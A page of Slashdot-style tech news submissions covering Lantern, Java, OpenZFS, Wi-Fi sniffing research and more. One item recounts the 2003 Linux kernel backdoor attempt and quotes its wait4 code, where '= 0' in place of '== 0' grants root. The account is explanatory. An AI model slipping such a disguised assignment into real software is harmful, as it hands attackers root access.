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Submission + - Knocking down the Great Firewall of China (dailydot.com)

Submitted by Nocturrne
Nocturrne writes: The FOSS project Lantern (https://getlantern.org/) is having great success in unblocking the internet for many users in oppressive regimes, like China and Iran. Much like Tor and bitorrent, Lantern is using peer-to-peer networking to overcome firewalls, but with the additional security of a trusted network of friends. The network of peers is growing, but we need more friends in uncensored countries to join us.

Submission + - Big win for Open Government and Transparency in Mississippi (djournal.com)

Submitted by Chris Elkins
Chris Elkins writes: Text messages are now officially considered public records. An investigative reporter fought for access to what he believed were public records. He took his fight to the state and won. Mississippi open government and transparency advocates view this unanimous commission opinion as precedent-setting for all government bodies and public officials in the state.

Submission + - Astronomers Solve Puzzle of the Mountains That Fell From Space 1

Submitted by KentuckyFC
KentuckyFC writes: Iapetus, Saturn’s third largest moon, was first photographed by the Cassini spacecraft on 31 December 2004. The images created something of a stir. Clearly visible was a narrow, steep ridge of mountains that stretch almost halfway around the moon’s equator. The question that has since puzzled astronomers is how this mountain range got there. Now evidence is mounting that this mountain range is not the result of tectonic or volcanic activity, like mountain ranges on other planets. Instead, astronomers are increasingly convinced that this mountain range fell from space. The latest evidence is a study of the shape of the mountains using 3-D images generated from Cassini data. They show that the angle of the mountainsides is close to the angle of repose, that’s the greatest angle that a granular material can form before it landslides. That’s not proof but it certainly consistent with this exotic formation theory. So how might this have happened? Astronomers think that early in its life, Iapetus must have been hit by another moon, sending huge volumes of ejecta into orbit. Some of this condensed into a new moon that escaped into space. However, the rest formed an unstable ring that gradually spiralled in towards the moon, eventually depositing the material in a narrow ridge around the equator. Cassini’s next encounter with Iapetus will be in 2015 which should give astronomers another chance to study the strangest mountain range in the Solar System.

Submission + - Bullied Student Records Bullies, Gets Hit With Felony Charges For Violation (techdirt.com)

Submitted by Anonymous Coward
An anonymous reader writes: Here comes another story highlighting the danger of schools "outsourcing" their disciplinary problems to law enforcement. As we've stated before, this does nothing more than turn routine misconduct into criminal behavior, which is a great way to derail a student's future.

A Pennsylvania teen, who claimed to have been bullied constantly (and ignored by school administration), made an audio recording of his tormentors using a school-supplied iPad. He brought this to the school's attention, which duly responded by calling the cops to have him arrested for violating Pennsylvania's wiretapping law. (h/t to Techdirt reader btr1701)

Maybe the future holds better outcomes, but for right now, everyone involved had a chance to stop this from reaching this illogical conclusion, but no one — from the administrators to their legal team to local law enforcement to the presiding judge — was interested in reining this in. In the end, it looks as though an innate desire to punish someone was satisfied every step of the way.

Submission + - Smithsonian Releasing 3D Models of Artifacts

Submitted by plover
plover writes: The Seattle Times reports "the Smithsonian Institution is launching a new 3D scanning and printing initiative to make more of its massive collection accessible to schools, researchers and the public worldwide. A small team has begun creating 3D models of some key objects representing the breadth of the collection at the world's largest museum complex. Some of the first 3D scans include the Wright brothers' first airplane, Amelia Earhart's flight suit, casts of President Abraham Lincoln's face during the Civil War and a Revolutionary War gunboat. Less familiar objects include a former slave's horn, a missionary's gun from the 1800s and a woolly mammoth fossil from the Ice Age. They are pieces of history some people may hear about but rarely see or touch."

So far they have posted 20 models on the site, with the promise of much more to come.

Submission + - Google Offers Cash for Updates to Linux and Other FOSS (arstechnica.com)

Submitted by jrepin
jrepin writes: Google is offering rewards as high as $3,133.70 for software updates that improve the security of OpenSSL, OpenSSH, BIND, and several other open-source packages that are critical to the stability of the Internet. The program announced Wednesday expands on Google's current bug-bounty program, which pays from $500 to $3,133.70 to people who privately report bugs found in the company's software and Web properties.

Submission + - If Java Is Dying, It Sure Looks Awfully Healthy

Submitted by Hugh Pickens DOT Com
Hugh Pickens DOT Com writes: Andrew Binstock writes at Dr. Dobb's that a recurring prejudice in the forums where the cool kids hang out is against Java, often described as verbose and fading in popularity but Binstock sees little supporting evidence of Java being in some kind of long-term decline. While it is true that Java certainly can be verbose, several scripting languages have sprung up which are purpose-designed to spare developers from long syntactical passages to communicate a simple action including NetRexx, Groovy, and Scala. As far as Java's popularity goes, normally, when technologies start their ultimate decline, tradeshows are the first to reflect the disintegrating community. But the recent JavaOne show was clearly larger and better attended than it has been in either of the last two years and vendors on the exhibiting floor were unanimous in saying that traffic, leads, and inquiries were up significantly over last year. Technically, the language continues to advance says Binstock. Java 8, expected in March, will add closures (that is, lambda expressions) that will reduce code, diminish the need for anonymous inner classes, and facilitate functional-like coding. Greater modularity which will be complete in Java 9 (due in 2016) will help efficient management of artifacts, as will several enhancements that simplify syntax in that release. "When you add in the Android ecosystem, whose native development language is Java, it becomes very difficult to see how a language so widely used in so many areas — server, Web, desktop, mobile devices — is in some kind of decline," concludes Binstock. "What I'm seeing is a language that is under constant refinement and development, with a large and very active community, which enjoys a platform that is widely used for new languages. None of this looks to me like a language in decline."

Submission + - Samsung Galaxy Round (financialpost.com)

Submitted by iONiUM
iONiUM writes: Samsung unveiled the Galaxy Round phone with a curved 5.7" display today. It comes with a hefty $1,000 USD price tag. This is a follow-up to the 55" curved TVs it began selling in June, and is most likely the first step before fold-able phones hit the market. Considering the recent LG announcement of mass OLED flexible screen production, it seems that we are indeed getting very close to flexible phones. One question I wonder is, will Apple follow suit? So far there has been no indication they are even attempting flexible/bendable screens.

Submission + - The Linux Backdoor Attempt of 2003

Submitted by Hugh Pickens DOT Com
Hugh Pickens DOT Com writes: Ed Felton writes about an incident, in 2003, in which someone tried to backdoor the Linux kernel. Back in 2003 Linux used a system called BitKeeper to store the master copy of the Linux source code. If a developer wanted to propose a modification to the Linux code, they would submit their proposed change, and it would go through an organized approval process to decide whether the change would be accepted into the master code. But some people didn’t like BitKeeper, so a second copy of the source code was kept so that developers could get the code via another code system called CVS. On November 5, 2003, Larry McAvoy noticed that there was a code change in the CVS copy that did not have a pointer to a record of approval. Investigation showed that the change had never been approved and, stranger yet, that this change did not appear in the primary BitKeeper repository at all. Further investigation determined that someone had apparently broken in electronically to the CVS server and inserted this change.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

A casual reading by an expert would interpret this as innocuous error-checking code to make wait4 return an error code when wait4 was called in a certain way that was forbidden by the documentation. But a really careful expert reader would notice that, near the end of the first line, it said “= 0” rather than “== 0” so the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid. In other words it’s a classic backdoor. We don’t know who it was that made the attempt—and we probably never will. But the attempt didn’t work, because the Linux team was careful enough to notice that that this code was in the CVS repository without having gone through the normal approval process. "Could this have been an NSA attack? Maybe. But there were many others who had the skill and motivation to carry out this attack," writes Felton. "Unless somebody confesses, or a smoking-gun document turns up, we’ll never know."

Submission + - BitTorrent "Bundles" Create Cash Registers Inside Artwork

Submitted by cagraham
cagraham writes: BitTorrent has released a new file format called Bundle into closed alpha-testing today, according to VentureBeat. The format allows artists to embed a paywall inside of their work, and then distribute the art for free over BitTorrent. When users open the work they can listen or view part it for free, and are then prompted to either pay a fee, turn over their email address, or perhaps share the work over social media, in order to see the rest. The new format may ease artists concerns about releasing work for free and having to hope for compensation in the future. Artists who have already signed on include Madonna, The Pixies, and author Tim Feriss.

Submission + - Wi-Fi sniffing lets researchers take social snapshots of crowds (techworld.com.au)

Submitted by angry tapir
angry tapir writes: The probe requests emitted by a smartphone as it seeks a Wi-Fi network to connect reveal the device's manufacturer thanks to its MAC address. This can offer some information about a crowd of people by looking at the breakdown by device brand. However, because some OSes include a preferred network list (PNL) in their probes, it may be possible to use Wi-Fi sniffing to infer even more information about a group of people by looking for common SSIDs, and potentially mapping them to known network locations. A group of Italian researchers has been looking at ways to use the information in probe requests to analyse the social connections of crowds.

Submission + - OpenZFS Project Launches Uniting ZFS Developers

Submitted by Damek
Damek writes: The OpenZFS project launched today, the truly open source successor to the ZFS project. ZFS is an advanced filesystem in active development for over a decade. Recent development has continued in the open, and OpenZFS is the new formal name for this community of developers, users, and companies improving, using, and building on ZFS. Founded by members of the Linux, FreeBSD, Mac OS X, and illumos communities, including Matt Ahrens, one of the two original authors of ZFS, the OpenZFS community brings together over a hundred software developers from these platforms. Read their announcement here.

Submission + - Most IT Staff Don't Communicate Security Risks (darkreading.com)

Submitted by CowboyRobot
CowboyRobot writes: A Tripwire survey of 1,320 IT personnel from the U.S. and U.K. showed that most staff "don't communicate security risk with senior executives or only communicate when a serious security risk is revealed." The reason is that staff have resigned themselves to staying mum due to an environment in which "collaboration between security risk management and business is poor, nonexistent or adversarial", or at best, just isn't effective at getting risk concerns up to senior management.

Submission + - Man Killed By Own Radio-Controlled Helicoptor in Brooklyn (wsj.com) 4

Submitted by Anonymous Coward
An anonymous reader writes: From the Wall Street Journal:

A 19-year-old model helicopter enthusiast was killed Thursday when a toy helicopter he was flying struck him in the head, a law-enforcement official said.
Victim Roman Pirozek “was known to be aggressive in his flying and often executed tricks. He was executing a trick when he was struck,” the official said.
Mr. Pirozek – depicted in (this) YouTube video he posted in July — was flying a remote-controlled helicopter worth about $2,000 when it struck him, cutting off the top of his head, the official said. The Woodhaven, Queens, resident was pronounced dead at the scene. His father was with him at the time of the accident, the official said

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